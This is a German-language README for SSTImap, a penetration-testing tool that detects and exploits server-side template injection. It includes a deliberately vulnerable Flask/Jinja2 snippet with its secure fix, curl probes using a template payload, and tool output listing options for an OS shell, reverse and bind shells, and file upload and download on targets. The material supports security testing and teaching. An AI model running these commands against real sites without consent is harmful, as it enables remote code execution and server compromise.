
SSTImap v1.4
Automatisches SSTI-Erkennungstool mit interaktiver Oberfläche
SSTImap
Dieses Projekt basiert auf Tplmap.
SSTImap ist eine Penetrationstest-Software, die Websites auf Code-Injection- und Server-Side-Template-Injection-Schwachstellen prüfen und diese ausnutzen kann, wodurch Zugriff auf das Betriebssystem selbst gewährt wird.
Dieses Tool wurde entwickelt, um als interaktives Penetrationstest-Werkzeug für die Erkennung und Ausnutzung von SSTI zu dienen, was eine fortgeschrittenere Ausnutzung ermöglicht. Weitere Payloads für SSTImap finden Sie hier.
Payloads und Techniken stammen von:
- James Kettle's [Server-Side Template Injection: RCE For The Modern Web App][5]
- Andere öffentliche Forschungen [[1]][1] [[2]][2] [[8]][8]
- Beiträge zu Tplmap [[3]][3] [[4]][4]
- Meine eigene Forschung [[9]][9]
Dieses Tool ist in der Lage, einige Code-Kontext-Escapes und Blind-Injection-Szenarien auszunutzen. Es unterstützt außerdem eval()-ähnliche Code-Injection in Java, JavaScript, PHP, Python, Ruby und generische, nicht gesandboxte Template-Engines.
Hauptunterschiede zu Tplmap
Auch wenn diese Software auf dem Code von Tplmap basiert, wird keine Abwärtskompatibilität gewährleistet.
- Zwei neue Techniken zur SSTI-Erkennung und -Ausnutzung hinzugefügt
- Interaktiver Modus (
-i), der eine einfachere Ausnutzung und Erkennung ermöglicht - Einfache Auswertungs-Payloads als Antwortmarker bei Payload-Reflexion
- Neue Payloads für generische Templates hinzugefügt; zum Testen aller Kontexte
--genericverwenden - Generische Erkennung von Template-Injection durch Auswertung mit dem
Eval_generic-Modul - Basis-Sprach-eval()-ähnliche Shell (
-x) oder Einzelbefehlsausführung (-X) - Blinder Datei-Upload unterstützt jetzt MD5-Bestätigung und Dateiexistenzprüfung
- Neue Payloads für weitere Templates hinzugefügt und viele bestehende Payloads aktualisiert
- Modulare Plugin-Struktur, die die Installation zusätzlicher Plugins ermöglicht
- Unterstützung für verschiedene POST-Datentypen
- Crawling und Formularerkennung hinzugefügt
- Kurzversionen für viele Argumente hinzugefügt
- Einige alte Befehlszeilenargumente wurden geändert; Hilfe mit
-hanzeigen - Code wurde geändert, um neuere Python-Funktionen zu nutzen
- Burp-Suite-Erweiterung vorübergehend entfernt, da Jython Python3 nicht unterstützt
Server-Side Template Injection
Dies ist ein Beispiel für eine einfache Website, die in Python mit dem [Flask][6]-Framework und der [Jinja2][7]-Template-Engine geschrieben wurde. Sie integriert die vom Benutzer bereitgestellte Variable name auf unsichere Weise, da sie vor dem Rendern an die Template-Zeichenkette angehängt wird.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI-SCHWACHSTELLE:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Diese Art der Template-Verwendung erzeugt nicht nur eine XSS-Schwachstelle, sondern ermöglicht es dem Angreifer auch, Template-Code zu injizieren, der auf dem Server ausgeführt wird, was zu SSTI führt.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
Vom Benutzer bereitgestellte Eingaben sollten auf sichere Weise über den Rendering-Kontext eingeführt werden:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Vorgegebener Modus
SSTImap im vorgegebenen Modus ist Tplmap sehr ähnlich. Es ist in der Lage, SSTI-Schwachstellen in mehreren verschiedenen Templates zu erkennen und auszunutzen.
Nach der Ausnutzung kann SSTImap Zugriff auf Code-Auswertung, Ausführung von Betriebssystembefehlen und Dateisystemmanipulationen bieten.
Um die URL zu prüfen, können Sie das Argument -u verwenden:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Verwenden Sie die Option --os-shell, um eine Pseudo-Terminal auf dem Ziel zu starten.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell